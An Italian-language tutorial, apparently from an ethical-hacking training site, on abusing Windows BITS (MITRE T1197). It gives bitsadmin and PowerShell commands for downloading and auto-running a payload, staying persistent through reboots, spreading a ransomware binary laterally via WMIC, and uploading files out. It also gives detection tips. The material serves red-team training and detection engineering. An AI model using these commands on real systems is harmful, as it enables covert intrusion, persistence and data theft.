BITS Jobs: Background Intelligent Transfer Service Abuse (T1197)

Il Background Intelligent Transfer Service (BITS) è un componente nativo di Windows progettato per trasferire file in modo asincrono sfruttando la banda inutilizzata, esposto tramite interfacce COM e utilizzato da Windows Update, System Center, browser e messaggistica. La sua natura fidata lo rende un vettore attraente per gli attaccanti, che possono orchestrare job BITS per scaricare payload, eseguirli, garantire persistenza e persino esfiltrare dati.

La tecnica T1197 si colloca trasversalmente su due tattiche MITRE ATT&CK: TA0003 (Persistence), perché i job BITS possono sopravvivere fino a 90 giorni di default (valore estendibile) e invocare comandi arbitrari al completamento o al fallimento del trasferimento, anche dopo riavvii; e TA0005 (Defense Evasion), perché il traffico BITS è tipicamente autorizzato dai firewall host, il job risiede in un database self-contained (nessun file o chiave di registro creata dall'attaccante) ed è veicolato da svchost.exe, un processo di sistema legittimo.

Sul piano operativo, l'abuso è documentato in 5 gruppi APT (tra cui APT41, APT39, Wizard Spider, Leviathan, Patchwork) e in 8 famiglie malware, tra cui Cobalt Strike, Bazar, Egregor e ProLock. Il framework MITRE mappa 3 mitigazioni principali, incentrate su hardening dell'OS, filtraggio del traffico e gestione degli account con accesso all'interfaccia BITS.

L'abuso di BITS si presta a scenari red team credibili perché sfrutta binari LOLBAS nativi e traffico che spesso passa inosservato. Il tool di riferimento è bitsadmin.exe (integrato in Windows, deprecato ma ancora presente), affiancato dai cmdlet PowerShell del modulo BitsTransfer (integrato, open source come parte di Windows).

Un tipico scenario di ingress tool transfer parte con la creazione di un job e l'aggiunta del payload remoto:

bitsadmin /create /download evergreen_job

bitsadmin /addfile evergreen_job C:\Users\Public\payload.exe

bitsadmin /resume evergreen_job

Per trasformare il download in persistenza ed esecuzione automatica, si sfrutta il flag /SetNotifyCmdLine, che registra un comando eseguito al completamento del trasferimento — la stessa tecnica documentata per UBoatRAT:

bitsadmin /SetNotifyCmdLine evergreen_job C:\Users\Public\payload.exe NULL

In PowerShell l'equivalente idiomatico è:

Start-BitsTransfer -Source -Destination C:\Windows\Temp\p.exe -TransferType Download -Asynchronous

Per massimizzare la persistenza si può impostare un JobInactivityTimeout elevato e usare /SetMinRetryDelay per mantenere il job in stato di retry indefinito, sopravvivendo ai riavvii. Su ambienti reali Wizard Spider ha combinato BITS con WMIC in batch script per distribuire ransomware lateralmente — riproducibile in lab con:

wmic /node:TARGET process call create "bitsadmin /transfer j /download C:\temp\r.exe"

Lato esfiltrazione (T1048), BITS supporta anche upload verso server SMB o HTTP autenticati:

bitsadmin /create /upload exfil_job

bitsadmin /addfile exfil_job C:\dati\report.zip

Per emulazione avanzata, strumenti come Atomic Red Team (open source, repository Red Canary su GitHub) includono test T1197 pronti all'uso, mentre Cobalt Strike (a pagamento) implementa nativamente il download del beacon via BITSAdmin, replicando esattamente il comportamento osservato in campagne reali.

In laboratorio è utile validare il comportamento con Sysinternals Process Monitor (gratuito) filtrando su svchost.exe con parent chain BITS, e ispezionare il database dei job con bitsadmin /list /allusers /verbose per verificare l'effettiva persistenza dopo reboot. Ricorda che a partire da Windows 10 alcuni flag di bitsadmin sono deprecati in favore dei cmdlet PowerShell, quindi in test di detection engineering entrambe le superfici vanno coperte.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.